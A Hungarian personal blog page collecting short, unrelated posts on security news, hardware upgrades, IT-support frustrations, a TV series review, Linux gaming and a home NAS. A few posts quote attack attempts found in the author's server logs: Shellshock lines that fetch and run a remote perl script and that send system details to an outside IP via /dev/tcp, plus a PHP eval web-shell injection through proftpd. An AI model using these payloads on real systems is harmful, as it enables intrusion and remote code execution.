tmms blogja

Biztonsági szakértők egy csoportja azt állítja, hogy egy rendkívül súlyos sebezhetőséget sikerült azonosítaniuk az internet egyik legalapvetőbb, gyakorlatilag minden alkalmazásában használt kommunikációs protokolljában....

cikk:
https://pcforum.hu/hirek/27246/keytrap-dnssec-sebezhetoseg-dns-internet…

Mit gondoltok?

http://csengeri.ueuo.com/CsZBENG.html

Ez a nap vicce?

KÉP

/var/log/nginx/default.access.log:103.26.14.7 - - [29/Mar/2016:15:32:47 +0200] "GET / HTTP/1.1" 200 6 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://gazeteterzialan.com/wp-admin/js/t3[dot]log -O /tmp/t3[dot]log;curl -O /tmp/t3.log http://gazeteterzialan.com/wp-admin/js/t3[dot]log;perl /tmp/t3.log;rm -rf /tmp/t3.log*");'"

Úgy döntöttem, megválok a szeretett amd-től, és intelre térek át a következőképpen:

Asus M5A97 Evo R2.0
AMD Phenom II X4 965 3.4GHz

Kiszerel, majd

Asus B85-PLUS C2
Intel Core i5-4570

beszerel.

Természetesen ha valakit érdekel, megvan még a lap + proci is.

wordpress/wp-content/uploads/system52.php

http://pastebin.com/GX59HMbr

askgnaskf.php
proftpd: 83.144.77.106:61606: SITE cpto /tmp/.<?php eval($_REQUEST[cmd]); echo GOOD;?>

Sziasztok!

Barátnőmnek feltörték a facebookját 2015.10.30 -án 10:19-kor.
Nem volt egyszerű a jelszava, csak saját laptopját használja ami karbantartva általam :)
IP cím Budapestre mutat: 84.206.44.118

Kérdés, hogy visszamenőleg lehet -e nyomozni valamilyen úton?

A teljes történet ismertetése helyett elmondom, mi volt a pilot fő szála. Van a főszereplő hacker, aki éjszakánként rossz embereket kapcsol le, na nem fizikailag, hanem számítógépen át. Nem a rendőrségnek segít, hanem kicsit szuperhős mentalistással jobbá akarja tenni a világot.
Nappal pedig egy cégnél dolgozik biztonsági szakemberként. Ők védik meg az E (Evil) Corpot az internetes támadásoktól. Ezt a munkát utálja, de valamiből élni kell. Vagyis nem pontosan tudni miért van ott, talán a nőnemű barátja miatt. Ez utóbbi amúgy az egyetlen USA-es mozzanat, annyira tipikusan rájuk illően hátráltatottak szerelmileg a karakterek.
A lényeg, hogy az Evil Corpot egyik éjjel durván megtámadják a neten át (DDOS meg még valami), hősünk védi meg őket, viszont amikor megpróbálja kideríteni, hogy ki követte el a támadást, akkor szépen lassan eljut a Mr. Robothoz. Vagy az(ok) hozzá. Vagy ez a szervezet, amelyik a világpiacot alapjaiban akarja megrengetni, csak a fejében létezik?

Történt ugyanis ez az eset (Sokadik dühöngés c. blogom) és tegnapi nap ismételten csörgött a telefon. No, gondoltam ez az utolsó, és itt mindent lezárok.

Kimegyek, és közlöm ügyféllel, hogy most meg fogom nézni mit csinál a géppel.
Ülök mögötte, látom frissíti a silverlight-ot, természetesen megkérdez róla, hogy mehet-e, én bólintottam persze.

Következő pillanatban elindítja a skype-ot: skype frissül...
Na onnantól kezdve az XP (SP3) ablakkezelője részlegesen összeomlik, és a firefox már xul.dll hibát ír, a többi exe pl. Couldn't load XPCOM.

Csörög a telefon, felveszem: Háló', tessék xy. Üdv, yx vagyok, lenne egy számítógép, ami elromlott, meg kellene nézni. Jó rendben. Elhozza. Elmondása alapján körvonalazódott a probléma, hogy merevlemez fele kell nézzek. Bekapcsolom a gépet, a lemez totál káó, meg se moccan. Gondoltam OK, letudom egy lemezcserével a dolgot, plusz telepítéssel.

Aha, Ja :) Nem.

Merevlemez rendel - pcx - megjön, szar, nem mozdul, semmi, szaga van. OK, visszaküld, gari, intézés, minden faca, jön az új, immár működő. Felrakom a gépre a zixpét, mer ügyfél kérése azvót'. Frankón beállítok mindent, jól megy a gép minden. El is viszem hozzá lakásra a gépet, mer ugyan be kell állítani a szolgáltatói levelezéstől kezdve a skype loginon át mindent. Átnyálazom, beállítom. Erre így kértem sacc 5 ezret. Eltelik kb. 8 nap, hív az ügyfél, hogy nem jó a gép.

Azt nagyon bírom, és nem az első eset, mikor regisztrációt követően kiküldik emailben az oldalhoz tartozó jelszavam.
Mi a rákért?

Érdekes bejegyzés wordpress weboldalon wp statistics bővítménynél a megtekintések menüben

() { :;}; /bin/bash -c \\\"echo 79.172.212.58/ > /dev/tcp/217.160.235.111/23; /bin/uname -a > /dev/tcp/217.160.235.111/23; echo \\\"

IP: 74.208.167.71

Egy újabb álláslehetőség, ha megtalálod a megoldást.

UI: Én is kiváncsi lennék rá.

Link: http://fejlesztotkeresunk.hu/

2. körig eljutottam

Jelentkezés
A pozícióra az alábbi fejtörő megoldásával jelentkezhetsz: A fejlesztőink számának, az aktív előfizetőink számának, a rendszerünk fejlesztése során eddig felvett user storyk számának és a fejlesztési vezető életkorának szorzata 49433665. Hány éves a fejlesztési vezető? Önéletrajzod az {N}@minicrm.hu címre várjuk. Az {N} helyére a fejlesztési vezető életkorát írd!

LOL! Ilyet még nem láttam. Most ez komoly?

Amúgy itt találtam

Feldíszítettük a karácsonyfát:
http://kephost.adatbazis.eu/images/07778697524238699962.jpg

A véleményem:
http://kephost.adatbazis.eu/images/99517622889413977872.jpg

És egyébként:
http://kephost.adatbazis.eu/images/23590705481831203214.jpg

És persze:
http://adatbazis.eu/karacsony.txt

A magyar tudományban is új távlatokat nyithat a világ legnagyobb tudományos kutatóintézete, a CERN budapesti számítógépközpontja, amelyet csütörtökön adtak át.
Magyarország legfejlettebb számítógépközpontját nyitották meg csütörtökön a Wigner Fizikai Kutatóközpont csillebérci telephelyén. Az újonnan felépített szerverparkban a világ vezető részecskefizikai kutatóintézete, a genfi székhelyű CERN számára végeznek adattárolást és adatfeldolgozást...

Akit érdekel Megnyílt a CERN budapesti agyközpontja

Olvasom a búlvárt, és ezt találom:

Hamarosan .budapest, .buda és .pest-re végződésű internetcímeket is be lehet jegyeztetni.

Akit bővebben érdekel

Most, hogy hirtelen felkapott lett a Linux, szerintetek mi sülhet ki belőle, vagy mit gondoltok mi lesz a jövője?

Csak hogy egy párat említsek:

* Linuxos, retro kézi játékkonzol projekt a Kickstarter-en
* Jön az Euro Truck Simulator 2 Linuxra
* Larry jön Linuxra
* Elérhető Linuxra a Steam-en keresztül a Crusader Kings II
* Steam-en keresztül Linuxra a Cave
* Postal 2 steamen Linuxra
* The Journey Down: Chapter One - Linuxra (is) a Steam-en

http://bernaerts.dyndns.org/appliance/208-dns325-ffp5-webserver

Innen indulva...

Kb. egy éve találtam egy alaplapot, ne kérdezzétek milyen, nem tudom már, de valami minimum config, talán p3 alaplap?
Gyorsan össze is dobtam alkatrészekből egy üres házból egy kis home szervert torrentre, meg 1-2 kis weboldalra, aztán nem sokra rá bukkantam egy alaplap, csokiért c. hirdetésre, amin gyorsan beszereztem egy - eddigieknél erősebb - lapot. Az első lap talán 1 hónapot futott, de jelenleg sincs semmi baja, ahogy ASUS CUV4X-D alaplap is simán ment (bővítve is lett egy 80Gb-os hdd-vel a hupról szintén) majdnem egy évig, jelenleg most ki van húzva, mert felváltotta egy D-Link DNS-320 ShareCenter 2-Bay Network Storage melybe egy Western Digital Caviar Blue 250GB SATA3 WD2500AAKX HDD kapott helyet. Vasárnap rendeltem meg, szerdán reggel már meg is kaptam, azóta felment rá a fun_plug, transmission, minidlna, tökéletesen megy, semmi probléma eddig, lekopogom. Csak ajánlani tudom. :)
A váltás oka igazából a fogyasztás volt. Ha jól mértem "lakatfogóval" akkor olyan 65-80 W körül evett az ASUS CUV4X-D gép. Míg a NAS állítólag 10-15W-al simán elvan.

Most erre mit lehet mondani? :)

...

He uses WiFi

De most komolyan... Nincs komment hozzá.

Valakinek valami?

Érdekelne, hogy mi a tapasztalatok az ispCP-vel.
Esetleg mit ajánlanátok mellé.

Fő a biztonság:)